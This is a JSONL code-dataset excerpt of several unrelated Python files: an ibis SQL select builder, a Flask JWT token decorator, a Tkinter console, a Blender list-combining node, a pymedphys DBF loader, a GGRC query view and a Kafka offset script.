compiler will apply a prefix only if the current context\n                # contains two or more table references. So, if we've extracted\n                # a subquery into a CTE, we need to propagate that reference\n                # down to child contexts so that they aren't missing any refs.\n                ctx.set_ref(expr, ctx.top_context.get_ref(expr))\n\n    # ---------------------------------------------------------------------\n    # Expr analysis / rewrites\n\n    def _analyze_select_exprs(self):\n        new_select_set = []\n\n        for expr in self.select_set:\n            new_expr = self._visit_select_expr(expr)\n            new_select_set.append(new_expr)\n\n        self.select_set = new_select_set\n\n    def _visit_select_expr(self, expr):\n        op = expr.op()\n\n        method = f'_visit_select_{type(op).__name__}'\n        if hasattr(self, method):\n            f = getattr(self, method)\n            return f(expr)\n\n        unchanged = True\n\n        if isinstance(op, ops.ValueOp):\n            new_args = []\n            for arg in op.args:\n                if isinstance(arg, ir.Expr):\n                    new_arg = self._visit_select_expr(arg)\n                    if arg is not new_arg:\n                        unchanged = False\n                    new_args.append(new_arg)\n                else:\n                    new_args.append(arg)\n\n            if not unchanged:\n                return expr._factory(type(op)(*new_args))\n            else:\n                return expr\n        else:\n            return expr\n\n    def _visit_select_Histogram(self, expr):\n        op = expr.op()\n\n        EPS = 1e-13\n\n        if op.binwidth is None or op.base is None:\n            aux_hash = op.aux_hash or util.guid()[:6]\n\n            min_name = 'min_%s' % aux_hash\n            max_name = 'max_%s' % aux_hash\n\n            minmax = self.table_set.aggregate(\n                [op.arg.min().name(min_name), op.arg.max().name(max_name)]\n            )\n            self.table_set = self.table_set.cross_join(minmax)\n\n            if op.base is None:\n                base = minmax[min_name] - EPS\n            else:\n                base = op.base\n\n            binwidth = (minmax[max_name] - base) / (op.nbins - 1)\n        else:\n            # Have both a bin width and a base\n            binwidth = op.binwidth\n            base = op.base\n\n        bucket = (op.arg - base) / binwidth\n        return bucket.floor().name(expr._name)\n\n    def _analyze_filter_exprs(self):\n        # What's semantically contained in the filter predicates may need to be\n        # rewritten. Not sure if this is the right place to do this, but a\n        # starting point\n\n        # Various kinds of semantically valid WHERE clauses may need to be\n        # rewritten into a form that we can actually translate into valid SQL.\n        new_where = []\n        for expr in self.filters:\n            new_expr = self._visit_filter(expr)\n\n            # Transformations may result in there being no outputted filter\n            # predicate\n            if new_expr is not None:\n                new_where.append(new_expr)\n\n        self.filters = new_where\n\n    def _visit_filter(self, expr):\n        # Dumping ground for analysis of WHERE expressions\n        # - Subquery extraction\n        # - Conversion to explicit semi/anti joins\n        # - Rewrites to generate subqueries\n\n        op = expr.op()\n\n        method = f'_visit_filter_{type(op).__name__}'\n        if hasattr(self, method):\n            f = getattr(self, method)\n            return f(expr)\n\n        unchanged = True\n        if isinstance(expr, ir.ScalarExpr):\n            if L.is_reduction(expr):\n                return self._rewrite_reduction_filter(expr)\n\n        if isinstance(op, ops.BinaryOp):\n            left = self._visit_filter(op.left)\n            right = self._visit_filter(op.right)\n            unchanged = left is op.left and right is op.right\n            if not unchanged:\n                return expr._factory(type(op)(left, right))\n            else:\n                return expr\n        elif isinstance(op, (ops.Any, ops.TableColumn, ops.Literal)):\n            return expr\n        elif isinstance(op, ops.ValueOp):\n            visited = [\n                self._visit_filter(arg) if isinstance(arg, ir.Expr) else arg\n                for arg in op.args\n            ]\n            unchanged = True\n            for new, old in zip(visited, op.args):\n                if new is not old:\n                    unchanged = False\n            if not unchanged:\n                return expr._factory(type(op)(*visited))\n            else:\n                return expr\n        else:\n            raise NotImplementedError(type(op))\n\n    def _rewrite_reduction_filter(self, expr):\n        # Find the table that this reduction references.\n\n        # TODO: what about reductions that reference a join that isn't visible\n        # at this level? Means we probably have the wrong design, but will have\n        # to revisit when it becomes a problem.\n        aggregation, _ = L.reduction_to_aggregation(expr, default_name='tmp')\n        return aggregation.to_array()\n\n    def _visit_filter_Any(self, expr):\n        # Rewrite semi/anti-join predicates in way that can hook into SQL\n        # translation step\n        transform = _AnyToExistsTransform(self.context, expr, self.table_set)\n        return transform.get_result()\n\n    _visit_filter_NotAny = _visit_filter_Any\n\n    def _visit_filter_SummaryFilter(self, expr):\n        # Top K is rewritten as an\n        # - aggregation\n        # - sort by\n        # - limit\n        # - left semi join with table set\n        parent_op = expr.op()\n        summary_expr = parent_op.args[0]\n        op = summary_expr.op()\n\n        rank_set = summary_expr.to_aggregation(\n            backup_metric_name='__tmp__', parent_table=self.table_set\n        )\n\n        # GH 1393: previously because of GH667 we were substituting parents,\n        # but that introduced a bug when comparing reductions to columns on the\n        # same relation, so we leave this alone.\n        arg = op.arg\n        pred = arg == getattr(rank_set, arg.get_name())\n        self.table_set = self.table_set.semi_join(rank_set, [pred])\n\n    # ---------------------------------------------------------------------\n    # Analysis of table set\n\n    def _collect_elements(self):\n        # If expr is a ValueExpr, we must seek out the TableExprs that it\n        # references, build their ASTs, and mark them in our QueryContext\n\n        # For now, we need to make the simplifying assumption that a value\n        # expression that is being translated only depends on a single table\n        # expression.\n\n        source_expr = self.query_expr\n\n        # hm, is this the best place for this?\n        root_op = source_expr.op()\n        if isinstance(root_op, ops.Join) and not isinstance(\n            root_op, ops.MaterializedJoin\n        ):\n            # Unmaterialized join\n            source_expr = source_expr.materialize()\n\n        if isinstance(root_op, ops.TableNode):\n            self._collect(source_expr, toplevel=True)\n            if self.table_set is None:\n                raise com.InternalError('no table set')\n        else:\n            self.select_set = [source_expr]\n\n    def _collect(self, expr, toplevel=False):\n        op = expr.op()\n        method = f'_collect_{type(op).__name__}'\n\n        # Do not visit nodes twice\n        if op in self.op_memo:\n            return\n\n        if hasattr(self, method):\n            f = getattr(self, method)\n            f(expr, toplevel=toplevel)\n        elif isinstance(op, (ops.PhysicalTable, ops.SQLQueryResult)):\n            self._collect_PhysicalTable(expr, toplevel=toplevel)\n        elif isinstance(op, ops.Join):\n            self._collect_Join(expr, toplevel=toplevel)\n        else:\n            raise NotImplementedError(type(op))\n\n        self.op_memo.add(op)\n\n    def _collect_Distinct(self, expr, toplevel=False):\n        if toplevel:\n            self.distinct = True\n\n        self._collect(expr.op().table, toplevel=toplevel)\n\n    def _collect_Limit(self, expr, toplevel=False):\n        if not toplevel:\n            return\n\n        op = expr.op()\n\n        # Ignore \"inner\" limits, because they've been overrided by an exterior\n        # one\n        if self.limit is None:\n            self.limit = {'n': op.n, 'offset': op.offset}\n\n        self._collect(op.table, toplevel=toplevel)\n\n    def _collect_Union(self, expr, toplevel=False):\n        if toplevel:\n            raise NotImplementedError()\n\n    def _collect_Difference(self, expr, toplevel=False):\n        if toplevel:\n            raise NotImplementedError()\n\n    def _collect_Intersection(self, expr, toplevel=False):\n        if toplevel:\n            raise NotImplementedError()\n\n    def _collect_Aggregation(self, expr, toplevel=False):\n        # The select set includes the grouping keys (if any), and these are\n        # duplicated in the group_by set. SQL translator can decide how to\n        # format these depending on the database. Most likely the\n        # GROUP BY 1, 2, ... style\n        if toplevel:\n            subbed_expr = self._sub(expr)\n            sub_op = subbed_expr.op()\n\n            self.group_by = self._convert_group_by(sub_op.by)\n            self.having = sub_op.having\n            self.select_set = sub_op.by + sub_op.metrics\n            self.table_set = sub_op.table\n            self.filters = sub_op.predicates\n            self.sort_by = sub_op.sort_keys\n\n            self._collect(expr.op().table)\n\n    def _collect_Selection(self, expr, toplevel=False):\n        op = expr.op()\n        table = op.table\n\n        if toplevel:\n            subbed = self._sub(expr)\n            sop = subbed.op()\n\n            if isinstance(table.op(), ops.Join):\n                can_sub = self._collect_Join(table)\n            else:\n                can_sub = False\n                self._collect(table)\n\n            selections = op.selections\n            sort_keys = op.sort_keys\n            filters = op.predicates\n\n            if can_sub:\n                selections = sop.selections\n                filters = sop.predicates\n                sort_keys = sop.sort_keys\n                table = sop.table\n\n            if len(selections) == 0:\n                # select *\n                selections = [table]\n\n            self.sort_by = sort_keys\n            self.select_set = selections\n            self.table_set = table\n            self.filters = filters\n\n    def _collect_MaterializedJoin(self, expr, toplevel=False):\n        op = expr.op()\n        join = op.join\n\n        if toplevel:\n            subbed = self._sub(join)\n            self.table_set = subbed\n            self.select_set = [subbed]\n\n        self._collect_Join(join, toplevel=False)\n\n    def _convert_group_by(self, exprs):\n        return list(range(len(exprs)))\n\n    def _collect_Join(self, expr, toplevel=False):\n        if toplevel:\n            subbed = self._sub(expr)\n            self.table_set = subbed\n            self.select_set = [subbed]\n\n        subtables = self._get_subtables(expr)\n\n        # If any of the joined tables are non-blocking modified versions of the\n        # same table, then it's not safe to continue walking down the tree (see\n        # #667), and we should instead have inline views rather than attempting\n        # to fuse things together into the same SELECT query.\n        can_substitute = self._all_distinct_roots(subtables)\n        if can_substitute:\n            for table in subtables:\n                self._collect(table, toplevel=False)\n\n        return can_substitute\n\n    def _collect_PhysicalTable(self, expr, toplevel=False):\n        if toplevel:\n            self.select_set = [expr]\n            self.table_set = expr  # self._sub(expr)\n\n    def _collect_SelfReference(self, expr, toplevel=False):\n        op = expr.op()\n        if toplevel:\n            self._collect(op.table, toplevel=toplevel)\n\n    def _sub(self, what):\n        if isinstance(what, list):\n            return [L.substitute_parents(x, self.sub_memo) for x in what]\n        else:\n            return L.substitute_parents(what, self.sub_memo)\n\n    # --------------------------------------------------------------------\n    # Subquery analysis / extraction\n\n    def _analyze_subqueries(self):\n        # Somewhat temporary place for this. A little bit tricky, because\n        # subqueries can be found in many places\n        # - With the table set\n        # - Inside the where clause (these may be able to place directly, some\n        #   cases not)\n        # - As support queries inside certain expressions (possibly needing to\n        #   be extracted and joined into the table set where they are\n        #   used). More complex transformations should probably not occur here,\n        #   though.\n        #\n        # Duplicate subqueries might appear in different parts of the query\n        # structure, e.g. beneath two aggregates that are joined together, so\n        # we have to walk the entire query structure.\n        #\n        # The default behavior is to only extract into a WITH clause when a\n        # subquery appears multiple times (for DRY reasons). At some point we\n        # can implement a more aggressive policy so that subqueries always\n        # appear in the WITH part of the SELECT statement, if that's what you\n        # want.\n\n        # Find the subqueries, and record them in the passed query context.\n        subqueries = ExtractSubqueries.extract(self)\n        self.subqueries = []\n        for expr in subqueries:\n            # See #173. Might have been extracted already in a parent context.\n            if not self.context.is_extracted(expr):\n                self.subqueries.append(expr)\n                self.context.set_extracted(expr)\n","sub_path":"ibis/backends/base/sql/compiler/select_builder.py","file_name":"select_builder.py","file_ext":"py","file_size_in_byte":27428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"470841540","text":"\nfrom functools import wraps\nfrom flask import Flask, request, jsonify, make_response, Blueprint\nfrom app.main.database import InitDB , CloseDB\nimport uuid \nimport jwt\nimport json\nfrom functools import wraps\nimport urllib \nimport os\nimport requests\n\ndef token_required(f):\n\t@wraps(f)\n\tdef decorated(*args, **kwargs):\n\t\ttoken = None\n\t\tif \"Authorization\" in request.headers:\n\t\t\ttoken = request.headers[\"Authorization\"]\n\n\t\tif not token:\n\t\t\treturn jsonify({\"message\": \"Token is missing!\"}), 401\n\n\t\t\n\t\taccess_token = token.split(\" \")[1]\n\t\t\n\t\ttry:\n\t\t\tdata = jwt.decode(access_token, os.getenv('SECRET_KEY'))\n\t\t\tmember_public_id = data[\"member_public_id\"]\n\t\t\tps_connection  = InitDB()\n\t\t\tif(ps_connection):\n\t\t\t\tps_cursor = ps_connection.cursor()\n\t\t\t\tquery = (\"select system_token from system_token \"\n\t\t\t\t\t   \" where member_public_id = %s \"\n\t\t\t\t\t   \" order by system_token_id desc \" \n\t\t\t\t\t   \" limit 1\" )\n\t\t\t\tps_cursor.execute(query, ( member_public_id , ) )\n\t\t\t\trv = ps_cursor.fetchone()\n\t\t\t\tps_cursor.close()\n\t\t\t\tCloseDB(ps_connection) \n\t\t\t\tactiveToken = rv[0]\n\t\t\t\n\t\t\t\tif activeToken != access_token :\n\t\t\t\t\treturn jsonify({\"message\": \"Token BlackList\"}), 401\n\t\t\t\tcurrent_user = data\n\t\texcept Exception as e:\n\t\t\treturn jsonify({\"message\": \"Invalid Token\"}), 401\n\n\t\treturn f(current_user, *args, **kwargs)\n\n\treturn decorated\n","sub_path":"MicroService/AuthService/app/main/helper/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"355206646","text":"from Tkinter import *\r\n\r\nclass GUI(object):\r\n\tdef __init__(self):\r\n\t\tself.root = Tk()\r\n\t\tself.root.geometry(\"640x480\")\r\n\t\tself.root.title(\"Console\")\r\n\t\tself.mainframe()\r\n\t\t#Events\r\n\t\t#self.root.bind('<Return>', self.enter_event)\r\n\t\t\r\n\t\t#self.root.mainloop()\r\n\r\n\tdef mainframe(self):\r\n\t\t#Frames\r\n\t\tself.console = Frame(self.root)\r\n\t\tself.console.pack()\r\n\t\tself.cmd = Frame(self.root)\r\n\t\tself.cmd.pack(side=BOTTOM)\r\n\r\n\t\t#Widgets\r\n\t\tself.scrollbar = Scrollbar(self.console, orient=VERTICAL)\r\n\t\tself.scrollbar.pack( side = RIGHT, fill=Y )\r\n\r\n\t\tself.console_list = Listbox(self.console, yscrollcommand = self.scrollbar.set, height=28, width=110, bd=3)\r\n\t\tself.console_list.pack()\r\n\t\tself.cmd_label = Label(self.cmd, text=\"Command\")\r\n\t\tself.cmd_label.pack(side=LEFT)\r\n\t\tself.cmd_entry = Entry(self.cmd, bd=3, width=100)\r\n\t\tself.cmd_entry.pack(side=RIGHT)\r\n\r\n\r\n\tdef enter_event(self, event):\r\n\t\tself.console(self.cmd_entry.get())\r\n\t\tself.cmd_entry.delete(0, len(self.cmd_entry.get()))\r\n\r\n\tdef console_log(self, text):\r\n\t\tself.console_list.insert(self.console_list.size() + 1, text)\r\n\t\tself.console_list.yview_moveto(self.console_list.size())\r\n\t\tif self.console_list.size() > 50:\r\n\t\t\tself.console_list.delete(0, last=None)\t\t\r\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"375398857","text":"import bpy\nfrom bpy.props import *\nfrom ... base_types.node import AnimationNode\nfrom ... tree_info import getDirectOriginSocket\nfrom ... sockets.info import getBaseDataTypeItems, toListIdName\n\nclass CombineLists(bpy.types.Node, AnimationNode):\n    bl_idname = \"an_combine_lists_node\"\n    bl_label = \"Combine Lists\"\n\n    @property\n    def inputNames(self):\n        return { socket.identifier : \"list_\" + str(i) for i, socket in enumerate(self.inputs) }\n\n    outputNames = { \"List\" : \"list\" }\n\n    def assignedTypeChanged(self, context):\n        self.listIdName = toListIdName(self.assignedType)\n        self.recreateSockets()\n\n    selectedType = EnumProperty(name = \"Type\", items = getBaseDataTypeItems)\n    assignedType = StringProperty(update = assignedTypeChanged)\n\n    listIdName = StringProperty()\n\n    def create(self):\n        self.selectedType = \"Float\"\n        self.assignedType = \"Float\"\n\n    def draw_buttons(self, context, layout):\n        self.callFunctionFromUI(layout, \"newInputSocket\",\n            text = \"New Input\",\n            description = \"Create a new input socket\",\n            icon = \"PLUS\")\n\n    def draw_buttons_ext(self, context, layout):\n        layout.prop(self, \"selectedType\")\n        self.callFunctionFromUI(layout, \"assignSelectedListType\",\n            text = \"Assign\",\n            description = \"Remove all sockets and set the selected socket type\")\n\n    def getExecutionCode(self):\n        lines = []\n        lines.append(\"$list$ = []\")\n        for i, socket in self.inputs:\n            if socket.name == \"...\": continue\n            lines.append(\"$list$.extend(%{}%)\".format(\"list_\" + str(i)))\n        return \"\\n\".join(lines)\n\n    def edit(self):\n        emptySocket = self.inputs[\"...\"]\n        origin = getDirectOriginSocket(emptySocket)\n        if origin is None: return\n        socket = self.newInputSocket()\n        self.id_data.links.new(socket, origin)\n        emptySocket.removeConnectedLinks()\n\n    def assignSelectedListType(self):\n        self.assignedType = self.selectedType\n\n    def recreateSockets(self, inputAmount = 2):\n        self.inputs.clear()\n        self.outputs.clear()\n\n        self.inputs.new(\"an_EmptySocket\", \"...\").passiveType = self.listIdName\n        for _ in range(inputAmount):\n            self.newInputSocket()\n        self.outputs.new(self.listIdName, \"List\")\n\n    def newInputSocket(self):\n        socket = self.inputs.new(self.listIdName, self.getNotUsedSocketName(\"List\"))\n        socket.nameSettings.display = True\n        socket.customName = \"List\"\n        socket.removeable = True\n        socket.moveable = True\n        if hasattr(socket, \"showName\"):\n            socket.showName = False\n        socket.moveUp()\n        return socket\n","sub_path":"nodes/list/combine_lists.py","file_name":"combine_lists.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"184223323","text":"# Copyright (C) 2020 Cancer Care Associates\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport pathlib\nfrom typing import Dict, List, cast\n\nfrom pymedphys._imports import pandas as pd\nfrom pymedphys._imports import streamlit as st\n\nfrom pymedphys._experimental.streamlit.utilities import dbf\n\n\ndef load_and_merge_dbfs(\n    database_directory: pathlib.Path, refresh_cache: bool\n) -> \"pd.DataFrame\":\n    \"\"\"Load the image sequence data for a user provided date. Merge in\n    relevant information from the relevant DBF databases.\n\n    The PATIMG.DBF database is loaded up and the user is asked to select\n    a date from that database. Then for the image sequences taken on\n    that date the PORT.DBF, TRTMNT.DBF, and PATIENT.DBF are\n    loaded and merged into date filtered PATIMG based ``pd.DataFrame``\n    using their corresponding DBID keys.\n\n    The DBID keys used to merge the databases together are respectively\n    PORT_DBID, TRT_DBID, and PAT_DBID.\n\n    Parameters\n    ----------\n    database_directory\n        The path to the iViewDB directory. This directory contains the\n        DBF files discussed above.\n    refresh_cache\n        Whether or not to reload the database caches from disk.\n\n    Returns\n    -------\n    table\n        A ``pandas.DataFrame`` that contains the columns\n        \"machine_id\", \"patient_id\", \"treatment\", \"port\", \"datetime\",\n        \"PIMG_DBID\", and \"DICOM_UID\".\n\n        machine_id : str\n            A machine identifier as defined by ORG_DTL within the\n            PATIMG database.\n        patient_id : str\n            A patient identifier as defined by the ID column within the\n            PATIENT database.\n        treatment : str\n            The treatment identifier as defined by the ID column within\n            the TRTMNT database.\n        port : str\n            A port identifier as defined by the ID column within the\n            PORT database.\n        datetime : datetime.datetime\n            The datetime representation of the image sequence start.\n            Converted from the combination of both the IMG_DATE and\n            IMG_TIME columns within the PATIMG database.\n        PIMG_DBID : int\n            The DBID column from the PATIMG database.\n        DICOM_UID : str\n            The DICOM_UID column from the PATIMG database.\n\n    Notes\n    -----\n    If this has been run before for this given path, and\n    ``refresh_cache=False``, the cached result\n    for each database will be provided. The cache can be reset from the\n    DBF files by passing ``refresh_cache=True``\n\n    \"\"\"\n    patimg = load_iview_dbf(database_directory, refresh_cache, \"patimg\")\n\n    dates = pd.to_datetime(patimg[\"IMG_DATE\"], format=\"%Y%m%d\").dt.date\n    date_options = dates.sort_values(ascending=False).unique()\n\n    selected_date = st.selectbox(\"Date\", options=date_options)\n    patimg_filtered_by_date = patimg.loc[dates == selected_date]\n\n    merged = patimg_filtered_by_date\n\n    for database_key, merge_key in [\n        (\"port\", \"PORT_DBID\"),\n        (\"trtmnt\", \"TRT_DBID\"),\n        (\"patient\", \"PAT_DBID\"),\n    ]:\n        dbf_to_be_merged = load_iview_dbf(\n            database_directory, refresh_cache, database_key\n        )\n        merged = merged.merge(dbf_to_be_merged, left_on=merge_key, right_on=merge_key)\n\n    timestamps_string = (\n        merged[\"IMG_DATE\"].astype(\"str\")\n        + \"T\"\n        + merged[\"IMG_TIME\"].astype(\"str\")\n        + \"000\"\n    )\n\n    merged[\"datetime\"] = pd.to_datetime(timestamps_string, format=\"%Y%m%dT%H%M%S%f\")\n\n    table = merged[\n        [\n            \"machine_id\",\n            \"patient_id\",\n            \"treatment\",\n            \"port\",\n            \"datetime\",\n            \"PIMG_DBID\",\n            \"DICOM_UID\",\n            \"LAST_NAME\",\n            \"FIRST_NAME\",\n        ]\n    ]\n\n    return table\n\n\ndef load_iview_dbf(\n    database_directory: pathlib.Path, refresh_cache: bool, config_key: str\n) -> \"pd.DataFrame\":\n    \"\"\"Load iViewDB files with table specific column name mutation.\n\n    Loads and manipulates column names of iView DBF database files.\n    The column manipulation are designed so as to simplify the\n    subsequent merging of these tables with pd.DataFrame.merge()\n\n    The particular column manipulations undergone are defined within\n    ``_DBF_DATABASE_LOADING_CONFIG``.\n\n    Parameters\n    ----------\n    path\n        The path to the iViewDB directory. This directory contains the\n        iView DBF files.\n    refresh_cache\n        Whether or not to reload the cache from disk.\n    config_key\n        The particular database to load up. Options are \"frame\",\n        \"patimg\", \"port\", \"trtmnt\", and \"patient\".\n\n    Returns\n    -------\n    table\n        A pandas DataFrame with columns defined by the combination of\n        the \"columns_to_keep\" and \"column_rename_map\" parameters defined\n        within ``_DBF_DATABASE_LOADING_CONFIG``.\n\n    Notes\n    -----\n    If this has been run before for this given path, and\n    ``refresh_cache=False``, the cached result\n    will be provided without loading from the DBF database. The cache\n    can be overridden by passing ``refresh_cache=True``\n\n    \"\"\"\n\n    current_config = _DBF_DATABASE_LOADING_CONFIG[config_key]\n    filename = cast(str, current_config[\"filename\"])\n    columns_to_keep = cast(List[str], current_config[\"columns_to_keep\"])\n    column_rename_map = cast(Dict[str, str], current_config[\"column_rename_map\"])\n\n    table = _load_dbf_base(\n        database_directory, refresh_cache, filename, columns_to_keep, column_rename_map\n    )\n    return table\n\n\n_DBF_DATABASE_LOADING_CONFIG = {\n    \"frame\": {\n        \"filename\": \"FRAME.dbf\",\n        \"columns_to_keep\": [\"DBID\", \"PIMG_DBID\", \"DELTA_MS\"],\n        \"column_rename_map\": {\"DBID\": \"FRAME_DBID\"},\n    },\n    \"patimg\": {\n        \"filename\": \"PATIMG.dbf\",\n        \"columns_to_keep\": [\n            \"DBID\",\n            \"DICOM_UID\",\n            \"IMG_DATE\",\n            \"IMG_TIME\",\n            \"PORT_DBID\",\n            \"ORG_DTL\",\n        ],\n        \"column_rename_map\": {\n            # These are renamed so that when a pd.DataFrame.merge()\n            # function is undergone the PIMG_DBID columns in both\n            # database have the same name\n            \"DBID\": \"PIMG_DBID\",\n            \"ORG_DTL\": \"machine_id\",\n        },\n    },\n    \"port\": {\n        \"filename\": \"PORT.dbf\",\n        \"columns_to_keep\": [\"DBID\", \"TRT_DBID\", \"ID\"],\n        # ID is renamed here so that when pd.DataFrame.merge() is\n        # undergone the ID columns between the databases don't clash\n        \"column_rename_map\": {\"DBID\": \"PORT_DBID\", \"ID\": \"port\"},\n    },\n    \"trtmnt\": {\n        \"filename\": \"TRTMNT.dbf\",\n        \"columns_to_keep\": [\"DBID\", \"PAT_DBID\", \"ID\"],\n        \"column_rename_map\": {\"DBID\": \"TRT_DBID\", \"ID\": \"treatment\"},\n    },\n    \"patient\": {\n        \"filename\": \"PATIENT.dbf\",\n        \"columns_to_keep\": [\"DBID\", \"ID\", \"LAST_NAME\", \"FIRST_NAME\"],\n        \"column_rename_map\": {\"DBID\": \"PAT_DBID\", \"ID\": \"patient_id\"},\n    },\n}\n\n\ndef _dbf_to_pandas_without_cache(path: pathlib.Path) -> \"pd.DataFrame\":\n    return pd.DataFrame(iter(dbf.get_dbf_table(path)))\n\n\n@st.cache(allow_output_mutation=True)\ndef _dbf_to_pandas_with_cache(path: pathlib.Path) -> \"List[pd.DataFrame]\":\n    \"\"\"Streamlit cached dbf read.\n\n    Notes\n    -----\n    Returns a mutable list so that the cache can be updated inplace.\n\n    \"\"\"\n    return [_dbf_to_pandas_without_cache(path)]\n\n\n# TODO: Consider replacing the `refresh_cache` logic with a watchdog\n# driven event model. See\n# <https://github.com/pymedphys/pymedphys/pull/1143#discussion_r520242368>\n# for details.\ndef _dbf_to_pandas(path: pathlib.Path, refresh_cache=True) -> \"pd.DataFrame\":\n    \"\"\"Retrieves the pandas.DataFrame representation of a DBF database.\n\n    Parameters\n    ----------\n    path\n        The full DBF database path to load.\n    refresh_cache\n        Whether or not to reload the cache from disk.\n\n    Notes\n    -----\n    If this has been run before for this given path, and\n    ``refresh_cache=False``, the cached result\n    will be provided without loading from the DBF database. The cache\n    can be overridden by passing ``refresh_cache=True``\n\n    \"\"\"\n    result = _dbf_to_pandas_with_cache(path)\n\n    if refresh_cache:\n        result[0] = _dbf_to_pandas_without_cache(path)\n\n    return result[0]\n\n\ndef _load_dbf_base(\n    database_directory: pathlib.Path,\n    refresh_cache: bool,\n    filename: str,\n    columns_to_keep: List[str],\n    column_rename_map: Dict[str, str],\n) -> \"pd.DataFrame\":\n    dbf_path = database_directory.joinpath(filename)\n    table = _dbf_to_pandas(dbf_path, refresh_cache)[columns_to_keep]\n    table = table.rename(column_rename_map, axis=\"columns\")\n\n    return table\n","sub_path":"lib/pymedphys/_experimental/streamlit/utilities/iview/_dbf.py","file_name":"_dbf.py","file_ext":"py","file_size_in_byte":9141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"594379095","text":"# Copyright (C) 2017 Google Inc.\n# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>\n\n\"\"\"This module contains logic to handle '/query' endpoint.\"\"\"\n\nimport time\nimport logging\nfrom wsgiref.handlers import format_date_time\n\nfrom flask import request\nfrom flask import current_app\nfrom werkzeug.exceptions import BadRequest\n\nfrom ggrc.query.exceptions import BadQueryException\nfrom ggrc.query.default_handler import DefaultHandler\nfrom ggrc.query.assessment_related_objects import AssessmentRelatedObjects\nfrom ggrc.login import login_required\nfrom ggrc.models.inflector import get_model\nfrom ggrc.services.common import etag\nfrom ggrc.utils import as_json\nfrom ggrc.utils import benchmark\n\n\nlogger = logging.getLogger()\n\n\nOPTIMIZED_HANDLERS = [\n    AssessmentRelatedObjects,\n]\n\n\ndef build_collection_representation(model, description):\n  \"\"\"Enclose collection description into a type-describing block.\"\"\"\n  # pylint: disable=protected-access\n  collection = {\n      model.__name__: description,\n  }\n  return collection\n\n\ndef json_success_response(response_object, last_modified=None, status=200):\n  \"\"\"Build a 200-response with metadata headers.\"\"\"\n  headers = [\n      ('Etag', etag(response_object)),\n      ('Content-Type', 'application/json'),\n  ]\n  if last_modified is not None:\n    headers.append(('Last-Modified', http_timestamp(last_modified)))\n\n  return current_app.make_response(\n      (as_json(response_object), status, headers),\n  )\n\n\ndef http_timestamp(timestamp):\n  return format_date_time(time.mktime(timestamp.utctimetuple()))\n\n\ndef _get_query_handler(query):\n  \"\"\"Get the first matching query handler for a given query.\"\"\"\n  for optimized_handler in OPTIMIZED_HANDLERS:\n    try:\n      if optimized_handler.match(query):\n        return optimized_handler\n    except Exception:  # pylint: disable=broad-except\n      # No exception in the query matcher should affect the response of the\n      # request. We need to safely fallback to default query handler if\n      # anything happens.\n      logger.info(\"Error matching %s handler.\", optimized_handler.__name__)\n  return DefaultHandler\n\n\ndef get_handler_results(query):\n  \"\"\"Get results from the best matching query handler.\n\n  Args:\n    query: dict containing query parameters.\n  Returns:\n    dict containing json serializable query results.\n  \"\"\"\n\n  handler_class = _get_query_handler(query)\n\n  query_handler = handler_class(query)\n  name = query_handler.__class__.__name__\n  with benchmark(\"Get query Handler results from: {}\".format(name)):\n    return query_handler.get_results()\n\n\ndef get_objects_by_query():\n  \"\"\"Return objects corresponding to a POST'ed query list.\"\"\"\n  query = request.json\n\n  results = get_handler_results(query)\n\n  last_modified_list = [result[\"last_modified\"] for result in results\n                        if result[\"last_modified\"]]\n  last_modified = max(last_modified_list) if last_modified_list else None\n  collections = []\n  collection_fields = [\"ids\", \"values\", \"count\", \"total\", \"object_name\"]\n\n  for result in results:\n    model = get_model(result[\"object_name\"])\n\n    collection = build_collection_representation(\n        model,\n        {\n            field: result[field] for field in collection_fields\n            if field in result\n        }\n    )\n    collections.append(collection)\n\n  return json_success_response(collections, last_modified)\n\n\ndef init_query_views(app):\n  # pylint: disable=unused-variable\n  @app.route('/query', methods=['POST'])\n  @login_required\n  def query_objects():\n    \"\"\"Advanced object collection queries view.\"\"\"\n    try:\n      return get_objects_by_query()\n    except (NotImplementedError, BadQueryException) as exc:\n      raise BadRequest(exc.message)\n","sub_path":"src/ggrc/query/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"196625474","text":"# -*- coding: utf-8 -*-\n\nfrom kafka import KafkaConsumer, TopicPartition\n\n\n'''\nGet latest/earliest offset from each partition\n\n@:param\n    server:127.0.0.1:9092      \n    topic:my_topic\n    group_id:my_id\n@:return\n'''\ndef topic_offset(server,topic,group_id):\n    consumer = KafkaConsumer(\n        bootstrap_servers=server,\n        group_id=group_id\n    )\n\n    for p in consumer.partitions_for_topic(topic):\n        tp = TopicPartition(topic, p)\n        consumer.assign([tp])\n        consumer.seek_to_end(tp)\n        latest_offset = consumer.position(tp)\n\n        consumer.seek_to_beginning(tp)\n        earliest_offset = consumer.position(tp)\n\n        print(\"topic: %s, partition: %s, earliest: %s, latest: %s\" % (\n               topic, p, earliest_offset, latest_offset))\n\n    consumer.close()\n\nif __name__=='__main__':\n    topic_offset('10.68.120.21:9092','formattedlog','cc')","sub_path":"enjoy_kafka.py","file_name":"enjoy_kafka.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
